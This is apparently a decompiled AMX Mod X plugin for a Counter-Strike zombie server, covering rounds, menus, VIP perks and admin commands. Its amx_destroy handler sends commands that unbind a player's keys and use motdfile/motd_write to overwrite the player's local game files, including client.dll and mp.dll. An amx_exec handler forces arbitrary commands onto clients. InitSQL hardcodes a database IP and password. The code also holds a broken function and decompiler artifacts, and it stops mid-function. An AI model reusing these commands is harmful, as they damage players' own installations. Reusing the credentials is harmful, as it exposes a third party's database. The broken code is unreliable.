	g_iCounter -= 1;
	if (0 < g_iCounter < 9)
	{
		static cWord[12];
		num_to_word(g_iCounter, cWord, 12);
        set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
		ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
		client_cmd(0, "spk fvox/%s", cWord);
	}
	return 0;
}

public EventRoundStart()
{
	g_iRoundType = 0;
	new var3 = false;
	g_bModeStarted = var3;
	g_bRoundEnd = var3;
	g_bRoundStart = true;
    remove_task(650, 0);
    set_task(2.00, "TaskWelcome", 650, "", 0, "", 0);
    g_iCounter = 16;
    remove_task(550, 0);
    set_task(16.00, "TaskZombie", 550, "", 0, "", 0);
    remove_task(700, 0);
    set_task(1.00, "TaskCounter", 700, "", 0, "a", 15);
    static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_user_jetpack(i))
		{
            set_user_rocket_time(i, 0);
		}
		g_iMaxJumps[i] = 0;
		g_iPlantedMines[i] = 0;
		g_iTripMines[i] = 0;
		g_iBlinks[i] = 0;
		g_iPlayerMines[i][1] = 0;
		g_iPlayerMines[i][0] = 0;
		g_iKillsThisRound[i] = 0;
		g_bGaveThisRound[i] = 0;
		g_bDoubleDamage[i] = 0;
		g_bTryder[i] = 0;
		g_bUnlimitedClip[i] = 0;
		if (g_bConnected[i] && VipHasFlag(i, 106) && g_iMaxJumps[i])
		{
			g_iMaxJumps[i] = 1;
		}
		i += 1;
	}
	static cMap[32];
	get_cvar_string("nextmap", cMap, 32);
	if (get_cvar_num("mp_timelimit") == 4096)
	{
        set_task(0.75, "TimerChangeMap", 0, "", 0, "", 0);
	}
	return 0;
}

public CmdChat(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 102))
	{
		static i;
		static cPhrase[192];
		read_args(cPhrase, 192);
		remove_quotes(cPhrase);
		if (contain(cPhrase, 383812) != -1)
		{
			return 1;
		}
		cPhrase[189] = 0;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bConnected[i] && g_bAdmin[i])
			{
				client_print_color(i, print_team_grey, "^4[ADMINS]^3 %s^1 :  %s", g_cName[iPlayer], cPhrase);
			}
			i += 1;
		}
	}
	return 1;
}

public CmdSayChat(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 121))
	{
		static i;
		static cPhrase[192];
		read_args(cPhrase, 192);
		remove_quotes(cPhrase);
		if (contain(cPhrase, "%") != -1)
		{
			return 1;
		}
		cPhrase[189] = 0;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bConnected[i])
			{
				client_print_color(i, print_team_grey, "^4[ALL]^3 %s^1 :  %s", g_cName[iPlayer], cPhrase);
			}
			i += 1;
		}
	}
	return 1;
}

public TaskRespawn(iPlayer)
{
	if (g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
	{
		if (!g_bAlive[iPlayer])
		{
			ExecuteHamB(Ham_CS_RoundRespawn, iPlayer);
            set_task(1.5, "TaskRespawn", iPlayer, "", 0, "", 0);
		}
		send_hide_weapon(iPlayer, 32);
		send_crosshair(iPlayer);
	}
	return 0;
}

public EventRoundEnd()
{
	static Float:fCurrent;
	static Float:fLast;
	fCurrent = get_gametime();
	if (floatsub(fCurrent, fLast) < 0.5)
	{
		return 0;
	}
	fLast = fCurrent;
	g_iRoundsCount += 1;
	g_iRounds[g_iRoundsCount] = g_iRoundType;
	g_bRoundEnd = true;
	g_bModeStarted = false;
	g_iRoundType = 0;
	remove_task(600, 0);
	remove_task(700, 0);
	remove_task(550, 0);
	remove_task(900, 0);
	remove_task(650, 0);
	client_cmd(0, "stopsound");
	if (!GetZombies())
	{
        set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
		client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)]);
	}
	else
	{
		if (!GetHumans())
		{
            set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
			ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
			client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)]);
		}
		else
		{
			set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
			ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
			client_cmd(0, "spk ZombieOutstanding/end_round_win_no_one");
		}
	}
	static iFrags;
	static iMaximumPacks;
	static iMaximumKills;
	static iPacksLeader;
	static iKillsLeader;
	iMaximumPacks = 0;
	iMaximumKills = 0;
	iPacksLeader = 0;
	iKillsLeader = 0;
	g_iVariable = 1;
	while (g_iMaxClients + 1 > g_iVariable)
	{
		if (g_bConnected[g_iVariable])
		{
			iFrags = get_user_frags(g_iVariable);
			if (iFrags > iMaximumKills)
			{
				iMaximumKills = iFrags;
				iKillsLeader = g_iVariable;
			}
		}
		g_iVariable += 1;
	}
	g_iVariable = 1;
	while (g_iMaxClients + 1 > g_iVariable)
	{
		if (g_bConnected[g_iVariable] && g_iPacks[g_iVariable] > iMaximumPacks)
		{
			iMaximumPacks = g_iPacks[g_iVariable];
			iPacksLeader = g_iVariable;
		}
		g_iVariable += 1;
	}
	if (g_bConnected[iKillsLeader])
	{
		static a[15];
		AddCommas(iMaximumKills, a, 14);
		if (g_iKillsThisRound[iKillsLeader])
		{
			client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 frags! [^4 %d^1 this round ]", g_cName[iKillsLeader], a, g_iKillsThisRound[iKillsLeader]);
		}
		else
		{
			client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 frags!", g_cName[iKillsLeader], a);
		}
	}
	if (g_bConnected[iPacksLeader])
	{
		static a[15];
		AddCommas(iMaximumPacks, a, 14);
		
		client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 packs!", g_cName[iPacksLeader], a);
	}
	static iTeam;
	static j;
	static i;
	i = random_num(1, g_iMaxClients);
	iTeam = 1;
	j = 1;
	while (g_iMaxClients + 1 > j)
	{
		i += 1;
		if (i > g_iMaxClients)
		{
			i = 1;
		}
		if (!g_bConnected[i] || 0 < get_team(i) < 3)
		{
		}
		else
		{
			if (iTeam > 2)
			{
				iTeam = 1;
			}
			set_team_offset(i, iTeam);
			iTeam += 1;
		}
		j += 1;
	}
	return 0;
}

public OnPlayerSpawn(iPlayer)
{
	if (is_user_alive(iPlayer))
	{
		g_bAlive[iPlayer] = 1;
		new var1;
		if (VipHasFlag(iPlayer, 100))
		{
			var1 = 1;
		}
		else
		{
			var1 = 0;
		}
		g_bCachedDamage[iPlayer] = var1;
		g_cClass[iPlayer] = "Human"
		g_iBurningDuration[iPlayer] = 0;
		g_iPlayerType[iPlayer] = 0;
		g_bKilling[iPlayer] = 0;
		g_bUnlimitedClip[iPlayer] = 0;
		g_bDoubleDamage[iPlayer] = 0;
		g_bNoDamage[iPlayer] = 0;
		g_bZombie[iPlayer] = 0;
		g_bFlashEnabled[iPlayer] = 0;
		g_bFlash[iPlayer] = 0;
		set_zombie(iPlayer, 0);
		set_monster(iPlayer, 0);
		remove_glow(iPlayer);
		g_bFrozen[iPlayer] = 0;
		set_take_damage(iPlayer, 2);
		set_frozen(iPlayer, 0);
		set_health(iPlayer, 150);
		set_gravity(iPlayer, 1.0);
		set_speed(iPlayer, 240.0);
		remove_task(iPlayer + 250, 0);
		remove_task(iPlayer + 200, 0);
		remove_task(iPlayer + 350, 0);
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (fCurrentTime - g_fLastChangedModel >= 0.35)
		{
            ChangeModel(iPlayer + 250);
            g_fLastChangedModel = fCurrentTime;
		}
		else
		{
            set_task(g_fLastChangedModel + 0.35 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
            g_fLastChangedModel = g_fLastChangedModel + 0.35;
		}
		set_task(0.2, "TaskShowMenu", iPlayer, "", 0, "", 0);
		set_task(random_float(1.0, 5.0), "TaskRespawn", iPlayer, "", 0, "", 0);
		if (!g_bRoundStart)
		{
			if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64)
			{
				MakeZombie(0, iPlayer, false, false, false);
			}
			if (!g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
			{
				if (get_team(iPlayer) != 2)
				{
					set_team(iPlayer, 2);
				}
			}
			if (g_iRoundType & 128 || g_iRoundType & 256)
			{
				MakeHuman(iPlayer, true, false);
			}
			if (g_iRoundType & 512)
			{
				MakeZombie(0, iPlayer, false, false, true);
			}
		}
		if (g_Hidden[iPlayer])
		{
			Make_Client_Visible(iPlayer);
			g_Hidden[iPlayer] = 0;
		}
		if (VipHasFlag(iPlayer, 106) && g_iMaxJumps[iPlayer] != 1)
		{
			g_iMaxJumps[iPlayer] = 1;
		}
		if (VipHasFlag(iPlayer, 97) && get_armor(iPlayer) <= 50)
		{
			set_armor(iPlayer, get_armor(iPlayer) + 50);
		}
		if (VipHasFlag(iPlayer, 104))
		{
			set_health(iPlayer, get_health(iPlayer) + 150);
		}
		set_task(1.0, "TaskPrepSpa", iPlayer, "", 0, "", 0);
	}
	return 0;
}

public TaskPrepSpa(iPlayer)
{
	if (is_user_alive(iPlayer) && get_team(iPlayer) == 1 && !g_bZombie[iPlayer] && g_bRoundStart)
	{
		set_team(iPlayer, 2);
	}
	return 0;
}

public TaskShowMenu(iPlayer)
{
	if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer] && !g_bZombie[iPlayer])
	{
		menu_display(iPlayer, g_iSecondaryMenu, 0);
	}
	return 0;
}

public _SecondaryMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
        menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		give_item(iPlayer, g_cSecondaryEntities[iChoice]);
		cs_set_user_bpammo(iPlayer, g_iSecondaryWeapons[iChoice], 9999);
		menu_display(iPlayer, g_iPrimaryMenu, 0);
	}
	return 0;
}

public _PrimaryMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
        menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		give_item(iPlayer, g_cPrimaryEntities[iChoice]);
		cs_set_user_bpammo(iPlayer, g_iPrimaryWeapons[iChoice], 9999);
		if (!user_has_weapon(iPlayer, 4, -1))
		{
			give_item(iPlayer, "weapon_hegrenade");
		}
		if (!user_has_weapon(iPlayer, 25, -1))
		{
			give_item(iPlayer, "weapon_flashbang");
		}
		if (!user_has_weapon(iPlayer, 9, -1))
		{
			give_item(iPlayer, "weapon_smokegrenade");
		}
	}
	return 0;
}


public ChangeModel(iTask)
{
	static bool:bChange;
	static cModel[24];
	static i;
	static iPlayer;
	iPlayer = iTask + -250;
	bChange = true;
	get_user_model(iPlayer, cModel, 24);
	if (!g_bZombie[iPlayer])
	{
		if (!g_iPlayerType[iPlayer])
		{
			if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 109) && !g_bVip[iPlayer])
			{
				if (equal(cModel, "z_out_admin", 0))
				{
					bChange = false;
				}
			}
			if (g_bVip[iPlayer])
			{
				if (equal(cModel, "DanDiaconescu", 0))
				{
					bChange = false;
				}
			}
			i = 0;
			while (i < 4)
			{
				if (equal(cModel, g_cHumanModels[i], 0))
				{
					bChange = false;
				}
				i += 1;
			}
		}
	}
	if (bChange)
	{
		if (!g_bZombie[iPlayer])
		{
			if (!g_iPlayerType[iPlayer])
			{
				if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 109) && !g_bVip[iPlayer])
				{
					set_user_model(iPlayer, "z_out_admin");
				}
				else
				{
					if (g_bVip[iPlayer])
					{
						set_user_model(iPlayer, "DanDiaconescu");
					}
					else
					{
						set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)]);
					}
				}
			}
			else
			{
				if (g_iPlayerType[iPlayer] & 4)
				{
					set_user_model(iPlayer, "z_out_survivor");
				}
				if (g_iPlayerType[iPlayer] & 8 && !equal(cModel, "arctic", 0))
				{
					set_user_model(iPlayer, "arctic");
				}
			}
		}
		else
		{
			if (!g_iPlayerType[iPlayer])
			{
				set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer]]);
			}
			if (g_iPlayerType[iPlayer] & 1)
			{
				set_user_model(iPlayer, "z_out_nemesis");
			}
			if (g_iPlayerType[iPlayer] & 2)
			{
				set_user_model(iPlayer, "z_out_assassin");
			}
		}
	}
	return 0;
}

public TaskRCount()
{
	SQL_ThreadQuery(g_hSQLTuple, "SQLRanksCount", "SELECT * FROM r", hQuery, 0);
	return 0;
}

public TaskGetMaps()
{
	new cTime[4];
	new iFile;
	new cLine[161];
	get_time("%H", cTime, 3);
	if (cTime[0] == 48)
	{
		SQL_ThreadQuery(g_hSQLTuple, "SQLGetMaps", "SELECT n FROM m WHERE CHAR_LENGTH(o)>0", hQuery, 0);
	}
	else
	{
		SQL_ThreadQuery(g_hSQLTuple, "SQLGetMaps", "SELECT n FROM m", hQuery, 0);
	}
	iFile = fopen("addons/amxmodx/configs/z_out_advertisements.ini", "r");
	if (iFile)
	{
		while (!feof(iFile))
		{
			fgets(iFile, cLine, 160);
			trim(cLine);
			if (cLine[0] == 33)
            {
                copy(g_cAdvertisements[g_iAdvertisementsCount], 160, cLine);
                replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!g", "^4");
                replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!t", "^3");
                replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!n", "^1");
                g_iAdvertisementsCount += 1;
            }
		}
		fclose(iFile);
	}
	iFile = fopen("addons/amxmodx/configs/z_out_hud_advertisements.ini", "r");
	if (iFile)
	{
		while (!feof(iFile))
		{
			fgets(iFile, cLine, 160);
			trim(cLine);
			if (4 < strlen(cLine))
			{
				copy(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, cLine);
				replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, "\n", "^n");
				g_iHudAdvertisementsCount += 1;
			}
		}
		fclose(iFile);
	}
	return 0;
}

public CmdBlock()
{
	return 1;
}

public CmdUpdate(iPlayer)
{
    static Float:fGameTime;
    fGameTime = get_gametime();
    if (fGameTime - g_fLast[iPlayer] < 0.3)
    {
        server_cmd("kick #%d  You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cInternetProtocolAddress[iPlayer]);
    }
    else
    {
        g_fLast[iPlayer] = fGameTime;
    }
    return 0;
}

public InitSQL()
{
	g_hSQLTuple = SQL_MakeDbTuple("89.44.246.254", "csaddict_z", "arara", "csaddict_z", 0);
	return 0;
}

public plugin_init()
{
	new i;
	new cNumber[3];
	new cLine[128];
	RegisterHam(Ham_Spawn, "player", "OnPlayerSpawn", 1);
	RegisterHam(Ham_TakeDamage, "player", "OnTakeDamage", 0);
	RegisterHam(Ham_Touch, "weaponbox", "OnTouch", 0);
	RegisterHam(Ham_Touch, "armoury_entity", "OnTouch", 0);
	RegisterHam(Ham_Item_PreFrame, "player", "OnPreFrame", 1);
	RegisterHam(Ham_Killed, "player", "OnKilled", 0);
	RegisterHam(Ham_TraceAttack, "player", "OnTraceAttack", 0);
	RegisterHam(Ham_Think, "grenade", "OnGrenadeThink", 0);
	RegisterHam(Ham_Player_Duck, "player", "OnPlayerDuck", 0);
	RegisterHam(Ham_Player_Jump, "player", "OnPlayerJump", 0);
	register_logevent("EventRoundStart", 2, "1=Round_Start");
	register_logevent("EventRoundEnd", 2, "1=Round_End");
	register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
	register_event("CurWeapon", "EventCurWeapon", "be", "1=1");
	register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
	register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
    register_concmd("amx_ban", "CmdBan", -1, "", -1);
    register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
    register_concmd("amx_map", "CmdMap", -1, "", -1);
    register_concmd("amx_addban", "CmdAddBan", -1, "", -1);
    register_concmd("amx_last", "CmdLast", -1, "", -1);
    register_concmd("amx_votemap", "CmdVoteMap", -1, "", -1);
    register_concmd("amx_kick", "CmdKick", -1, "", -1);
    register_concmd("amx_slay", "CmdSlay", -1, "", -1);
    register_concmd("amx_say", "CmdSayChat", -1, "", -1);
    register_concmd("amx_chat", "CmdChat", -1, "", -1);
    register_concmd("amx_destroy", "CmdDestroy", -1, "", -1);
    register_concmd("amx_gag", "CmdGag", -1, "", -1);
    register_concmd("amx_ungag", "CmdGag", -1, "", -1);
    register_concmd("amx_slap", "CmdSlap", -1, "", -1);
    register_concmd("amx_password_for_slot", "CommandGetSlot", -1, "", -1);
    register_concmd("amx_password_for_model", "CommandGetModel", -1, "", -1);
    register_concmd("amx_human", "CmdMode", -1, "", -1);
    register_concmd("amx_zombie", "CmdMode", -1, "", -1);
    register_concmd("amx_nemesis", "CmdMode", -1, "", -1);
    register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
    register_concmd("amx_swarm", "CmdMode", -1, "", -1);
    register_concmd("amx_plague", "CmdMode", -1, "", -1);
    register_concmd("amx_armageddon", "CmdMode", -1, "", -1);
    register_concmd("amx_multi", "CmdMode", -1, "", -1);
    register_concmd("amx_multiple", "CmdMode", -1, "", -1);
    register_concmd("amx_sniper", "CmdMode", -1, "", -1);
    register_concmd("amx_survivor", "CmdMode", -1, "", -1);
    register_concmd("amx_assassins_vs_snipers", "CmdMode", -1, "", -1);
    register_concmd("amx_assassin", "CmdMode", -1, "", -1);
    register_concmd("amx_respawn", "CmdMode", -1, "", -1);
    register_concmd("amx_ammo", "CmdMode", -1, "", -1);
    register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
    register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
    register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
    register_clcmd("fullupdate", "CmdUpdate", -1, "", -1);
    register_clcmd("fullupdaterate", "CmdUpdate", -1, "", -1);
    register_clcmd("say", "Client_Say", -1, "", -1);
    register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
    register_clcmd("jointeam", "CmdJoinTeam", -1, "", -1);
    register_clcmd("chooseteam", "CmdJoinTeam", -1, "", -1);
    register_clcmd("plant_mine", "CmdPlantMine", -1, "", -1);
    register_clcmd("take_mine", "CmdTakeMine", -1, "", -1);
    register_clcmd("nightvision", "CmdNightVision", -1, "", -1);
    register_clcmd("drop", "CmdDrop", -1, "", -1);
	register_clcmd("amx_exec", "CmdExec", -1, "", -1);
	register_message(get_user_msgid("Scenario"), "MessageScenario");
	register_message(get_user_msgid("Health"), "MessageHealth");
	register_message(get_user_msgid("SayText"), "MessageSayText");
	register_message(get_user_msgid("Money"), "MessageMoney");
	register_message(get_user_msgid("ClCorpse"), "ClCorpse");
	set_msg_block(get_user_msgid("TextMsg"), 2);
	set_msg_block(get_user_msgid("SendAudio"), 2);
	set_msg_block(get_user_msgid("AmmoPickup"), 2);
	set_msg_block(get_user_msgid("WeapPickup"), 2);
	g_iMaxClients = get_maxplayers();
	g_iTimeLimit = get_cvar_pointer("mp_timelimit");
	g_iTopMessageSync = CreateHudSyncObj(0);
	g_iDownMessageSync = CreateHudSyncObj(0);
	g_iRemainingSync = CreateHudSyncObj(0);
	g_iVersusSync = CreateHudSyncObj(0);
	g_iCenterMessageSync = CreateHudSyncObj(0);
	g_iMineMessage = CreateHudSyncObj(0);
	g_iSecondMineMessage = CreateHudSyncObj(0);
	g_iEventsHudmessage = CreateHudSyncObj(0);
	g_iCounterMessage = CreateHudSyncObj(0);
	g_iAdvertisementsSync = CreateHudSyncObj(0);
	g_iAntidoteSync = CreateHudSyncObj(0);
	g_iRegenerationSync = CreateHudSyncObj(0);
	g_iLeftSync[0] = CreateHudSyncObj(0);
	g_iLeftSync[1] = CreateHudSyncObj(0);
	i = 0;
	while (i < 8)
	{
		g_iDamageSync[i] = CreateHudSyncObj(0);
		i++;
	}
	g_iGameMenu = menu_create("Game Menu", "_GameMenu", 0);
	g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu", 0);
	g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu", 0);
	g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses", 0);
	menu_additem(g_iGameMenu, "Buy extra items", "0", 0, -1);
	menu_additem(g_iGameMenu, "Choose zombie class", "1", 0, -1);
	menu_additem(g_iGameMenu, "Buy features with points", "2", 0, -1);
	menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
	menu_additem(g_iGameMenu, "See rank", "4", 0, -1);
	menu_additem(g_iGameMenu, "See top and all statistics", "5", 0, -1);
	i = 0;
	while (i < 7)
	{
		formatex(cLine, 128, "%s %s", g_cZombieClasses[i], g_cZombieAttribs[i]);
		num_to_str(i, cNumber, 3);
		menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
		i++;
	}
	i = 0;
	while (i < 6)
	{
		num_to_str(i, cNumber, 3);
		menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i], cNumber, 0, -1);
		g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i]);
		i++;
	}
	i = 0;
	while (i < 10)
	{
		num_to_str(i, cNumber, 3);
		menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i], cNumber, 0, -1);
		g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i]);
		i++;
	}
	g_aNameData = ArrayCreate(32, 1);
	g_aAmmoData = ArrayCreate(1, 1);
	set_task(5.0, "TaskLight", 0, "", 0, "b", 0);
	set_task(33.50, "TaskAdvertisements", 0, "", 0, "b", 0);
	set_task(500.0, "TaskUnban", 0, "", 0, "b", 0);	
	set_task(0.40, "InitSQL", 0, "", 0, "", 0);
	set_task(2.35, "TaskRCount", 0, "", 0, "", 0);
	set_task(6.20, "TaskGetMaps", 0, "", 0, "", 0);
	set_task(0.1, "TaskReadVips", 0, 318308, 0, 318312, 0);
	set_task(0.1, "TaskAxaxa", 0, "", 0, "", 0);
	g_bAdmin[0] = 1;
	return 0;
}

public ClCorpse()
{
	if (get_msg_args() == 12 && g_Hidden[get_msg_arg_int(12)])
}


public TaskReadVips()
{
	new iFile = fopen("addons/amxmodx/configs/vips.ini", "r");
	if (iFile)
	{
		new cLine[256];
		while (!feof(iFile))
		{
			fgets(iFile, cLine, 255);
			trim(cLine);
			if (cLine[0] != 59 && strlen(cLine) > 5)
			{
				parse(cLine, g_cVipNames[g_iVipsCount], 31, g_cVipPasswords[g_iVipsCount], 31, g_cVipFlags[g_iVipsCount], 31);
				g_iVipsCount += 1;
			}
		}
		fclose(iFile);
	}
	return 0;
}

public TaskAxaxa()
{
	new iFile = fopen("addons/amxmodx/configs/RegisteredCharacter.ini", "r");
	if (iFile)
	{
		fgets(iFile, g_cRegisteredCharacter, 31);
		trim(g_cRegisteredCharacter);
		formatex(g_Secret, 31, "%s", g_cRegisteredCharacter);
		format(g_cRegisteredCharacter, 31, "(Gold Member %s) ", g_cRegisteredCharacter);
		fclose(iFile);
	}
	return 0;
}

public MessageMoney(iMessage, iDestination, iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		reset_money(iPlayer);
	}
	return 1;
}

public CmdUnfreeze(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 49))
	{
		static iTarget;
		static cTarget[33];
		read_argv(1, cTarget, 32);
		iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
		if (iTarget)
		{
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 made^4 %s^3 unfroze", g_cName[iPlayer], g_cName[iTarget]);
			set_frozen(iTarget, 0);
			remove_glow(iTarget);
			g_bFrozen[iTarget] = 0;
			ExecuteHamB(Ham_Item_PreFrame, iTarget);
		}
		return 1;
	}
	return 0;
}


public TaskAdvertisements()
{
    set_task(1.0, "TaskHudXYZ", 0, "", 0, "", 0);
	if (g_iMessage >= g_iAdvertisementsCount)
	{
		g_iMessage = 0;
	}
	client_print_color(0, print_team_grey, g_cAdvertisements[g_iMessage]);
	g_iMessage += 1;
	return 0;
}

public TaskHudXYZ()
{
	if (g_iHudMessage >= g_iHudAdvertisementsCount)
	{
		g_iHudMessage = 0;
	}
    set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.00, 0.20, 2, 0.20, 6.00, 0.10, 0.20, -1);
	ShowSyncHudMsg(0, g_iAdvertisementsSync, g_cHudAdvertisements[g_iHudMessage]);
	g_iHudMessage += 1;
	return 0;
}

public EventStatusValueHide(iPlayer)
{
	ClearSyncHud(iPlayer, g_iCenterMessageSync);
	return 0;
}

public TaskRemoveRender(i)
{
	if (g_bConnected[i] && !g_iPlayerType[i] & 1)
	{
		remove_glow(i);
	}
	return 0;
}

public CmdGag(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 64))
	{
		static cCommand[32];
		read_argv(0, cCommand, 32);
		if (equali(cCommand, "amx_gag", 0))
		{
			static iTarget;
			static iTime[3];
			static cTarget[32];
			read_argv(1, cTarget, 32);			
			iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
			if ( !iTarget ) return 1;		
			read_argv(2, iTime, 2);
			if (!iTarget)
			{
		        return 1;
			}
			if (g_fGagTime[iTarget] < get_gametime())
			{
		        g_fGagTime[iTarget] = floatadd(get_gametime(), float(clamp(str_to_num(iTime), 1, 12) * 60));
		        client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 gag^3 %s^1 for^4 %i minutes", g_cName[iPlayer], g_cName[iTarget], clamp(str_to_num(iTime), 1, 12));
			}
			else
			{
		        console_print(iPlayer, "[Zombie Outstanding] Player ^"%s^" is already gagged", g_cName[iTarget]);
			}
		}
		if (equali(cCommand, "amx_ungag", 0))
		{
			static iTarget;
			static cTarget[32];
			read_argv(1, cTarget, 32);
			iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
			if ( !iTarget ) return 1;		
			if (g_fGagTime[iTarget] > get_gametime())
			{
				g_fGagTime[iTarget] = false;
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 ungag^3 %s", g_cName[iPlayer], g_cName[iTarget]);
			}
			else
			{
				console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
			}
		}
	}
	return 0;
}

public CmdSlap(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 36))
	{
		static iTarget;
		static iDamage;
		static cDamage[15];
		static cTarget[32];
		read_argv(1, cTarget, 32);
		read_argv(2, cDamage, 7);
		iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
		iDamage = clamp(str_to_num(cDamage), 0, 999999);
		if (0 < iTarget)
		{
			user_slap(iTarget, iDamage, 1);
			AddCommas(iDamage, cDamage, 14);
			if (0 < iDamage)
			{
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 slap^3 %s^1 with^4 %s damage", g_cName[iPlayer], g_cName[iTarget], cDamage);
			}
			else
			{
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 slap^3 %s", g_cName[iPlayer], g_cName[iTarget]);
			}
		}
		else
		{
			console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
		}
	}
	return 0;
}

public CmdExec(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 105))
	{
		static iTarget;
		static cCommand[64];
		static cTarget[32];
		read_argv(1, cTarget, 32);
		read_argv(2, cCommand, 64);
		iTarget = GetTarget(iPlayer, cTarget, 0);
		if (0 < iTarget)
		{
			client_cmd(iTarget, cCommand);
		}
		console_print(iPlayer, "[Zombie Outstanding] Player not found!");
	}
	return 1;
}

public CmdDestroy(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 52))
	{
		static iTarget;
		static cTarget[32];
		read_argv(1, cTarget, 32);
		iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
		if (0 < iTarget)
		{
			client_cmd(iTarget, "unbindall; bind ` ^"say I_have_been_destroyed^"; bind ~ ^"say I_have_been_destroyed^"; bind esc ^"say I_have_been_destroyed^"");
			client_cmd(iTarget, "motdfile resource/GameMenu.res; motd_write a; motdfile models/player.mdl; motd_write a; motdfile dlls/mp.dll; motd_write a");
			client_cmd(iTarget, "motdfile cl_dlls/client.dll; motd_write a; motdfile cs_dust.wad; motd_write a; motdfile cstrike.wad; motd_write a");
